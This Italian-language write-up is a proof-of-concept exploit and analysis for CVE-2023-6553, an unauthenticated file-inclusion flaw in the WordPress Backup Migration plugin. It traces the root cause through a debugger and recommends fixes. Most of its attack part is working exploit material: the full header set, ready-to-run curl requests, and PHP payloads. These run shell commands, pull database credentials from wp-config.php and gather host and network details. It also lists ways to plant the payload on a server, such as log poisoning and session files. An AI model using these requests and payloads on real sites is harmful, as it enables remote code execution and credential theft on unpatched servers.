
Exploit proof-of-concept e analisi tecnica per CVE-2023-6553, una vulnerabilità di inclusione di file PHP non autenticata che consente l'esecuzione remota di codice nel plugin WordPress Backup Migration <=1.3.7.
Plugin: Backup Migration (backup-backup) ≤ 1.3.7
CVSS: 9.8 (Critico)
CWE: CWE-98 — Controllo improprio del nome file per l'istruzione Include/Require
Requisito di autenticazione: Nessuno
Impatto: Esecuzione di codice in remoto
Backup Migration è un plugin WordPress abbastanza popolare (~90.000+ installazioni attive) che aiuta gli utenti a creare copie di backup. Durante il processo di backup, il plugin ha un file chiamato backup-heart.php che viene eseguito in background: riceve le informazioni di configurazione tramite gli header HTTP per sapere quale directory deve essere sottoposta a backup, dove si trova il file di configurazione, ecc.
Il problema sta nel fatto che questo file si fida completamente degli header HTTP inviati dal client, prende il valore dell'header e lo inserisce direttamente nel percorso del file, quindi usa require_once() per caricare il file da quel percorso. Un attaccante deve solo inviare l'header Content-Dir che punta a una directory contenente codice PHP dannoso → il server lo include ed esegue automaticamente.
È importante notare che il file backup-heart.php non richiede autenticazione — controlla solo se il metodo della richiesta è POST, senza verificare alcun nonce o privilegi utente. Chiunque su Internet può inviargli una richiesta.
⇒ Questa è una vulnerabilità zero-click.
PHP ha funzioni come include(), require(), require_once() usate per includere altri file PHP nel programma in esecuzione. Quando il percorso del file passato a queste funzioni proviene dall'input utente senza validazione, un attaccante può costringere il server a includere qualsiasi file desideri:
allow_url_include=On (di solito disabilitato per impostazione predefinita).Questa CVE rientra nella categoria LFI — l'attaccante controlla il percorso passato a require_once() che punta a un file PHP che l'attaccante è riuscito a scrivere sul server.
Molti sviluppatori pensano che gli header HTTP siano metadati "interni" noti solo al server e al client. In realtà, gli attaccanti controllano il 100% del contenuto degli header — possono impostare qualsiasi nome e valore di header. Fidarsi degli header è come fidarsi dell'input dei moduli — deve essere validato.
define() e le costanti PHPdefine('NAME', $value) crea una costante usata in tutta l'applicazione. Una volta definita, il valore non può essere modificato. Se $value proviene da un attaccante, ogni punto in cui viene usata quella costante è compromesso.
Ho iniziato usando grep per cercare tutte le istruzioni require e include nel plugin:
grep -rn "require\|include" includes/

I risultati della ricerca hanno restituito molte chiamate require/include. Esaminandole, la maggior parte erano chiamate include_once in banner/misc.php e banner/views/index.php — appartengono al codice di rendering dell'interfaccia admin con percorsi hardcoded, quindi non sfruttabili.
Tuttavia, 2 righe in backup-heart.php hanno attirato la mia attenzione:
includes/backup-heart.php:64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118: require_once BMI_INCLUDES . '/bypasser.php';
La riga 118 usa require_once con la costante BMI_INCLUDES — se questa costante fosse hardcoded, sarebbe sicura. Ma guardando alla riga 64, ho visto che BMI_INCLUDES è costruita da un'altra costante, BMI_ROOT_DIR. Quindi dobbiamo risalire: dove viene assegnato il valore a BMI_ROOT_DIR?
Ho usato di nuovo grep per tracciarla:
grep -n "BMI_ROOT_DIR" includes/backup-heart.php
Risultati:

Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
La riga 62 mostra che BMI_ROOT_DIR prende il suo valore da $fields['content-dir']. Questa è una variabile, non un valore fisso — dobbiamo aprire il file e vedere cosa contiene $fields.
Ho aperto backup-heart.php in VS Code alla riga 62:
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);
// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

È chiaramente visibile che $fields['content-dir'] finisce direttamente in define(). Ora dobbiamo determinare dove viene assegnata la variabile $fields:
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
exit;
}
// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
$fields= getallheaders();
}
// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
$buffer= $value;
unset($fields[$key]);
$fields[strtolower($key)] = $value;
}


A questo punto, la causa principale diventa chiarissima: $fields contiene tutti gli header HTTP recuperati tramite getallheaders() — completamente controllati dal client. Non c'è wp_verify_nonce(), non c'è current_user_can(), nessun controllo del percorso valido — verifica semplicemente il metodo POST e legge gli header direttamente.
Attacker sends POST request with header Content-Dir: /path/to/attacker/
↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
↓
define('BMI_ROOT_DIR', "/path/to/attacker/") ← no validation
↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
↓
require_once "/path/to/attacker/includes/bypasser.php" ← executes PHP
↓
Attacker code runs with www-data privileges → RCE
Riepilogo della causa principale: Header HTTP → define() → require_once(), senza alcun passaggio di validazione in mezzo.
Ho usato Xdebug + VS Code per confermare visivamente il flusso di attacco. Ho impostato 2 breakpoint alla riga 62 e alla riga 118 in backup-heart.php, poi ho inviato la richiesta exploit usando curl.
Breakpoint 1 — Riga 62:
Il debugger si è fermato proprio su define('BMI_ROOT_DIR', $fields['content-dir']). Espandendo la variabile $fields nel pannello Variables è emerso un array di 22 elementi — contenente tutti gli header HTTP inviati dal client. Nello specifico:
content-dir = "/tmp/bmi/" — questo è esattamente il valore inviato tramite header, che viene assegnato direttamente alla costante BMI_ROOT_DIR.content-abs = "/var/www/html/", content-configdir = "/tmp/bmi/", content-backups = "/tmp/bmi/back..." — tutti controllati dall'attaccante.Non ci sono passaggi di validazione o filtraggio applicati a content-dir prima di passarlo a define().

Breakpoint 2 — Riga 118:
Premendo F5, il debugger si è fermato su require_once BMI_INCLUDES . '/bypasser.php'. Osservando lo stato:
$fields conserva ancora content-dir = "/tmp/bmi/" — a dimostrazione che il valore non è stato alterato tra la riga 62 e la 118.{main} backup-heart.php 118:1 — il codice è stato eseguito direttamente dall'inizio del file fino a questo punto, bypassando qualsiasi middleware o controllo di autenticazione./tmp/bmi/includes/bypasser.php — un file il cui contenuto è controllato dall'attaccante.
I risultati del debug confermano perfettamente il flusso analizzato nel Passo 3: l'header HTTP viaggia da getallheaders() → define() → require_once(), senza validazione in mezzo.
Prima di attivare l'inclusione, un file PHP deve già esistere sul server di destinazione. Le tecniche comuni includono:
| Metodo |
|---|
Inviare una richiesta con Content-Dir che punta alla directory contenente il payload. Il server esegue automaticamente require e il file dell'attaccante.
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/
Tutti gli header Content-* devono essere forniti perché backup-heart.php li usa in altre chiamate define() — la mancanza di header genera warning PHP e può interrompere l'esecuzione prima di raggiungere require_once.
curl -s -o /dev/null -w "%{http_code}" -X POST \
"http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"
Restituisce 200 — l'endpoint è aperto e non richiede autenticazione.

Creare la struttura di directory che corrisponde a ciò che require_once si aspetta di trovare: {Content-Dir}includes/bypasser.php:
mkdir -p /tmp/bmi/includes
cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
-H "Content-Dir: /tmp/bmi/" \
-H "Content-Abs: /var/www/html/" \
-H "Content-Content: /var/www/html/wp-content/" \
-H "Content-Configdir: /tmp/bmi/" \
-H "Content-Backups: /tmp/bmi/backups/" \
-H "Content-Safelimit: 1" \
-H "Content-Browser: true" \
-H "Content-Identy: 1" \
-H "Content-Manifest: 1" \
-H "Content-Rev: 1" \
-H "Content-Name: test" \
-H "Content-Start: 1" \
-H "Content-Filessofar: 0" \
-H "Content-Total: 1" \
-H "Content-Bmitmp: /tmp/" \
-H "Content-It: 1" \
-H "Content-Dbit: 1" \
-H "Content-Dblast: 1" \
-H "Content-Url: http://localhost:8181/"
Risultato dell'output:

RCE riuscita — il server esegue il comando id e restituisce l'output.
Dopo aver confermato la RCE, ho modificato il payload per dimostrare che un attaccante può leggere informazioni sensibili sul server. Modificare il contenuto del file payload per leggere wp-config.php:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'
Reinviare la stessa richiesta exploit con curl → l'output restituisce i dettagli di connessione al database:
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"
L'attaccante può leggere qualsiasi file a cui www-data ha i permessi di accesso — wp-config.php, /etc/passwd, il codice sorgente di altri plugin — ampliando la superficie di attacco.

Modificare ulteriormente il payload per dimostrare che l'attaccante può raccogliere informazioni di sistema del server — favorendo l'escalation dei privilegi o il movimento laterale:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'
Inviare l'exploit con curl → output:
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3
RCEEND

Da questo output, l'attaccante scopre:
172.18.0.3 — conferma che il server è all'interno di una rete Docker, consentendo il pivot verso altri container (database, cache, ecc.)backup-heart.php risiede su disco e può essere raggiunto direttamente via URL.Non usare gli header HTTP per determinare i percorsi dei file. Usare percorsi relativi derivati da __DIR__:
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);
// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');
Aggiungere un controllo di autorizzazione — solo l'amministratore di WordPress dovrebbe poter invocare questo endpoint:
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
die('Unauthorized');
}
backup-heart.php./wp-content/plugins/*/includes/*.php.| Attributo | Valore |
|---|
| CVE ID | CVE-2023-6553 |
| Punteggio CVSS | 9.8 (Critico) |
| Plugin | backup-backup (Backup Migration) ≤ 1.3.7 |
| Autenticazione | Non richiesta |
| Interazione utente | Nessuna (zero-click) |
| Corretto | Versione 1.3.8 |
| Concetto |
|---|
| Log poisoning | Inviare una richiesta contenente <?php ... ?> dentro lo User-Agent → il codice viene scritto nel log di accesso → includere il file di log |
| Sessione PHP | Scrivere codice PHP in un file di sessione situato in /tmp/sess_xxx |
| Catena di upload | Sfruttare la funzione di upload di media/avatar di WordPress per caricare il file |
| Log degli errori del plugin | Il plugin scrive il proprio log degli errori — innescare un errore che contiene codice PHP scrive il codice nel file di log |
| Metrica CVSS | Valore | Motivo |
|---|
| Vettore di attacco | Rete | Via HTTP |
| Complessità dell'attacco | Bassa | 1 richiesta POST, nessun requisito di tempo o condizioni speciali |
| Privilegi richiesti | Nessuno | L'endpoint non richiede autenticazione |
| Interazione utente | Nessuna | Guidato dall'attaccante, la vittima non richiede interazione |
| Riservatezza | Alta | Può leggere qualsiasi file: wp-config.php, /etc/passwd, codice sorgente |
| Integrità | Alta | Scrittura arbitraria di file, installazione di webshell, modifica del database |
| Disponibilità | Alta | Cancellazione di file, terminazione di processi, compromissione totale del server |